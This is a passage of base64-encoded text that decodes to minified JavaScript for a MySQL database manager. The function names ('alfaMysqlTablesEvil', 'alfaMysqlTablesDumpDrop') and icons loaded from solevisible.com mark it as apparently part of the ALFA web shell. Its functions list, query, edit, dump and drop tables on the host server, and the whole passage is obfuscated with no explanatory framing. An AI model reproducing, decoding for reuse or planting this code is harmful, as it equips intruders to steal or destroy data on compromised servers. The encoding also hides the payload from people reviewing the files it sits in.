0LmFsZmEyJiYiZWRpdCIhPWUucG9zdC5hbGZhMiYmImRlbGV0ZSIhPWUucG9zdC5hbGZhMiYmKGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UuZGJfaWQrIiAubXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlciAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9IiIpLGUucG9zdClsW2ldPWFsZmFiNjQoZS5wb3N0W2ldKTt2YXIgcj0iIjtmb3IodmFyIG8gaW4gbClyKz1vKyI9IitsW29dKyImIjthbGZhbG9hZGVyKGUuZGJfaWQsImJsb2NrIiksX0FqYXgoZC5VUkwscixmdW5jdGlvbihhKXthbGZhbG9hZGVyKGUuZGJfaWQsIm5vbmUiKSx0KGEpfSwhMCxlLmRiX2lkKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShlLHQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT0iIixpPSIiLGw9KGE9IiIsIiIpO2lmKG51bGwhPWUpYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWUudmFsdWU7ZWxzZSBhPXQudGFyZ2V0LGk9dC5kYl9pZCxsPXQudmFsdWU7bD1uZXcgUmVnRXhwKGwsImkiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK2ErIiB1bCA+IGxpIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbF90YWJsZXMiKTtpZihudWxsPT10KXJldHVybiExOy0xPT0odD10LmlubmVyVGV4dCkuc2VhcmNoKGwpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX0sMjAwKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJBbGxUYWJsZShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyBpbnB1dFtuYW1lPWZpbHRlcl9hbGxdIikudmFsdWUsbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLHI9W10sbz1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9uYW1lIik7Im5vIj09dCYmci5wdXNoKGEpLG8ucHVzaChhKX0pLHIubGVuZ3RoPjApe2lmKDA9PWkubGVuZ3RoJiZ2b2lkIDA9PT10KXJldHVybiExO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6clswXSxhamF4X2lkOiJteXNxbF9nZXRfYWxsX3RhYmxlcyIsZGJfaW5mbzp7ZGF0YWJhc2VzOnJ9LHBvc3Q6e2FsZmEyOiJsb2FkX2FsbF90YWJsZXMiLGFsZmEzOmx9fSxmdW5jdGlvbihyKXtpZigwIT1yLmxlbmd0aCl7Zm9yKHZhciBvIGluIHI9SlNPTi5wYXJzZShyKSl7dmFyIG49byxzPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIituKTthbGZhTXlzcWxNYWtlVGJsTGlzdChyW29dLHMsYSxuLGwpfXZvaWQgMD09PXQ/YWxmYU15c3FsRmlsdGVyVGFibGUobnVsbCx7ZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIix2YWx1ZTppfSk6KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib3BlbmVkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyAucGFyZW50LWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nIil9fSl9ZWxzZSBpZih2b2lkIDA9PT10KWZvcih2YXIgbiBpbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShudWxsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KSxvKWFsZmFNeXNxbFRhYmxlTW9kZShhLG9bbl0sImNsb3NlZCIpO2Vsc2V7dmFyIHM9IiIsYz1lLmdldEF0dHJpYnV0ZSgibW9kZSIpO2Zvcih2YXIgbiBpbiJvcGVuZWQiPT1jPyhlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNsb3NlZCIpLHM9ImJfcGx1cy5wbmciKTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxzPSJiX21pbnVzLnBuZyIpLG8pYWxmYU15c3FsVGFibGVNb2RlKGEsb1tuXSxjKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvIitzfX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZU1vZGUoZSx0LGEpe3ZhciBpPWQucXVlcnlTZWxlY3RvcigiIyIrZSsiIC5jbHMtIit0KSxsPSIiO3ZvaWQgMD09PWE/KGw9LTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImhpZGUtZGItdGFibGVzIik/ImJfbWludXMucG5nIjoiYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QudG9nZ2xlKCJoaWRlLWRiLXRhYmxlcyIpKToib3BlbmVkIj09YT8obD0iYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QuYWRkKCJoaWRlLWRiLXRhYmxlcyIpKToobD0iYl9taW51cy5wbmciLGkuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZS1kYi10YWJsZXMiKSksZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QrIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK2x9ZnVuY3Rpb24gYWxmYU15c3FsRXhwYW5kZXIoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgic3FsX2NvdW50IiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY2xzLSIrdCk7ImxvYWRlZCI9PWwuZ2V0QXR0cmlidXRlKCJtb2RlIik/YWxmYU15c3FsVGFibGVNb2RlKGEsdCk6YWxmYU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX2dldF90YWJsZXMiLHBvc3Q6e2FsZmEyOiJsb2FkX3RhYmxlcyIsYWxmYTM6aX19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiZhbGZhTXlzcWxNYWtlVGJsTGlzdChlPUpTT04ucGFyc2UoZSksbCxhLHQsaSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNFdmlsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTsiY2hlY2tlZCI9PWk/KGk9ITEsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub3QiKSk6KGk9ITAsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJjaGVja2VkIikpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiICIrdCsiIGlucHV0W25hbWU9dGJsXFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPWl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPSJub25lIjsiZHVtcCI9PWUudmFsdWUmJihpPSJibG9jayIpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiICIrdCsiIC5kdW1wLWZpbGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT1pfWZ1bmN0aW9uIGFsZmFNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9W10scj1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLG89ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgIit0KSxuPW8ucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dGFibGVzX2V2aWxdIikudmFsdWUscz1vLnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIGlucHV0IikudmFsdWU7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitpKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJmwucHVzaChlLnZhbHVlKX0pLGwubGVuZ3RoPjAmJmFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9xdWVyeV9ldmlsIixkYl9pbmZvOnt0YWJsZXM6bCxtb2RlOm4sZHVtcF9maWxlOnN9LHBvc3Q6e2FsZmEyOiJkdW1wX2Ryb3AifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksImRyb3AiPT1uP2FsZmFNeXNxbE1ha2VUYmxMaXN0KGUsbyxpLGEscik6by5xdWVyeVNlbGVjdG9yKCIuZHVtcC1maWxlLWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdj48YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiK3MrJyIsImRvd25sb2FkIik7XCc+PHNwYW4+RG93bmxvYWQ6ICcrcysiPC9zcGFuPjwvYT48L2Rpdj4iKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxNYWtlVGJsTGlzdChlLHQsYSxpLGwpe3Quc2V0QXR0cmlidXRlKCJtb2RlIiwibG9hZGVkIik7dmFyIHI9Jzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIHRhcmdldD0iLmNscy0nK2krJyIgb25rZXl1cD0iYWxmYU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+Jztmb3IodmFyIG8gaW4gZSludWxsIT1lW29dJiYocis9IjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIitlW29dLm5hbWUrIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciK2krIicgZGJfaWQ9JyIrYSsiJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiYWxmYUxvYWRUYWJsZURhdGEodGhpcywgJyIrZVtvXS5uYW1lKyInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIrZVtvXS5uYW1lKyI8L3NwYW4+PC9hPiIrKGw/IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oIitlW29dLmNvdW50KyIpPC9zcGFuPjwvc21hbGw+IjoiJm5ic3A7IikrIjwvZGl2PjwvbGk+Iik7cis9JzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNFdmlsKHRoaXMpOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJytpKyciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiBzZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iYWxmYU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicraSsnIiB0YXJnZXQ9Ii5jbHMtJytpKyciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBjbGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmdDoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nLHQuaW5uZXJIVE1MPXIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK2krIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyJ9ZnVuY3Rpb24gYWxmYU15c3FsUXVlcnkoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiB0ZXh0YXJlYVtuYW1lPXF1ZXJ5XSIpLnZhbHVlO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF9sb2FkX3F1ZXJ5X2RhdGEiLGRiX2luZm86e3F1ZXJ5Oml9LHBvc3Q6e2FsZmEyOiJxdWVyeSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxhbGZhTXlzcWxSZXBvcnRCdWlsZGVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsYWxmYU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmEsdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQifSwhMCkpfSl9ZnVuY3Rpb24gYWxmYU15c3FsUmVwb3J0QnVpbGRlcihlLHQpe3ZhciBhPSIiO3Quc3RhdHVzfHwoYT0iPGRpdj48c3Bhbj5FcnJvcjogPC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjxwcmU+Iit0LmVycm9yKyI8L3ByZT48L2Rpdj48L2Rpdj4iKTt2YXIgaT0iPGRpdj48c3Bhbj5RdWVyeTo8L3NwYW4+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiA1MHB4Oyc+PHByZT4iK3QucXVlcnkrIjwvcHJlPjwvZGl2PiIrYSsiPC9kaXY+IjtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9aX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZVBhbmVsQ3RsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9KHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIit0KSksaT1hLnF1ZXJ5U2VsZWN0b3IoIi50YWJsZXMtcGFuZWwtY3RsIik7Im5vbmUiPT1pLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJibG9jayIpLGkuaW5uZXJIVE1MPSImI3gzQzsmI3gzQzsiLGEucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKS5jbGFzc0xpc3QucmVtb3ZlKCJteXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikpOihhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vbmUiKSxpLmlubmVySFRNTD0iJiN4M0U7JiN4M0U7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKSxpLmNsYXNzTGlzdC50b2dnbGUoInRhYmxlcy1wYW5lbC1jdGwtbWluIil9ZnVuY3Rpb24gYWxmYU15c3FsVGFiQ3RsKGUsdCl7dmFyIGE9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKTplLmRiX2lkLGk9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik6ZS50YXJnZXQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIithKyIgLm15c3FsLXF1ZXJ5LWNvbnRlbnQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtaGlkZS1jb250ZW50Iil9KSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgLm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLHZvaWQgMD09PXQ/ZS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKTpkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCgiK2UuY2hpbGQrIikiKS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAiK2kpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLWhpZGUtY29udGVudCIpfWZ1bmN0aW9uIGFsZmFMb2FkVGFibGVEYXRhKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX2xvYWRfdGFibGVfZGF0YSIsZGJfaW5mbzp7dGFibGU6dH0scG9zdDp7YWxmYTI6ImxvYWRfZGF0YSJ9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciBsPSIiLHI9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIsbz0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+VmFsdWU8L3RoPjx0aD5DaGFuZ2U8L3RoPjwvdHI+IixuPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5Db2xsYXRpb248L3RoPjx0aD5PcGVyYXRvcjwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIscz1bImludCIsInNtYWxsaW50IiwiYmlnaW50IiwidGlueWludCIsIm1lZGl1bWludCJdLGM9WyJsb25ndGV4dCIsInRleHQiLCJtZWRpdW10ZXh0IiwidGlueXRleHQiXTtmb3IodmFyIHUgaW4gZS5jb2x1bW5zKXt2YXIgcD0idGV4dCI7LTEhPXMuaW5kZXhPZihlLmNvbHVtbnNbdV0uZGF0YV90eXBlKSYmKHA9Im51bWJlciIpLG4rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oyc+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IitlLmNvbHVtbnNbdV0uY29sbGF0aW9uKyI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PG9wdGlvbiB2YWx1ZT0nPSc+PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyE9Jz4hPTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jz4nPiZndDs8L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+PSc+Jmd0Oz08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc8Jz4mbHQ7PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nPD0nPiZsdDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIj0gJydcIj49ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiE9ICcnXCI+IT0gJyc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdMSUtFJz5MSUtFPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSAlLi4uJSc+TElLRSAlLi4uJTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBMSUtFJz5OT1QgTElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCc+UkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nUkVHRVhQIF4uLi4kJz5SRUdFWFAgXi4uLiQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgUkVHRVhQJz5OT1QgUkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSU4gKC4uLiknPklOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIElOICguLi4pJz5OT1QgSU4gKC4uLik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdCRVRXRUVOJz5CRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIEJFVFdFRU4nPk5PVCBCRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSVMgTlVMTCc+SVMgTlVMTDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5PVCBOVUxMJz5JUyBOT1QgTlVMTDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSciK3ArIicgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSsiJz48L3RkPjwvdHI+Ijt2YXIgZj1hbGZhTXlzcWxMb2FkRGF0YVR5cGUoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk7bnVsbD09ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWUmJihlLmNvbHVtbnNbdV0udHlwZV92YWx1ZT0iIiksbys9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD48c2VsZWN0IG5hbWU9J3NlbF8iK2UuY29sdW1uc1t1XS5uYW1lKyInPiIrZisiPC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IG5hbWU9J3ZhbHVlXyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdHlwZT0ndGV4dCcgdmFsdWU9JyIrKC0xPT1jLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk/ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU6IiIpKyInPjwvdGQ+PHRkPjxidXR0b24gY29sX25hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdGJsX25hbWU9JyIrdCsiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2FsZmFNeXNxbEFsdGVyVGJsKHRoaXMpO3JldHVybiBmYWxzZTsnPkNoYW5nZTwvYnV0dG9uPjwvdGQ+PC90cj4iO3ZhciBtPSIiO3N3aXRjaChlLmNvbHVtbnNbdV0uZGF0YV90eXBlKXtjYXNlImxvbmd0ZXh0IjpjYXNlInRleHQiOm09Ijx0ZXh0YXJlYSBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHJvd3M9JzUnPjwvdGV4dGFyZWE+IjticmVhaztjYXNlImludCI6Y2FzZSJzbWFsbGludCI6Y2FzZSJiaWdpbnQiOm09IjxpbnB1dCB0eXBlPSdudW1iZXInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdmFsdWU9Jyc+IjticmVhaztkZWZhdWx0Om09IjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiJ9cis9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD4iK2UuY29sdW1uc1t1XS50eXBlKyI8L3RkPjx0ZD4iK20rIjwvdGQ+PC90cj4ifWlmKHIrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxVcGRhdGVSb3codGhpcywgXCJpbnNlcnRcIik7cmV0dXJuIGZhbHNlOyc+SW5zZXJ0PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtaW5zZXJ0LXJlc3VsdCc+PC9kaXY+IixvKz0iPC90YWJsZT48ZGl2IGNsYXNzPSdteXNxbC1zdHJ1Y3R1cmUtcXJlcyc+PC9kaXY+IixuKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDM4NHB4O21hcmdpbi10b3A6IDE1cHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxTZWFyY2godGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+IixlLnBhZ2VzPjApe2wrPSI8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG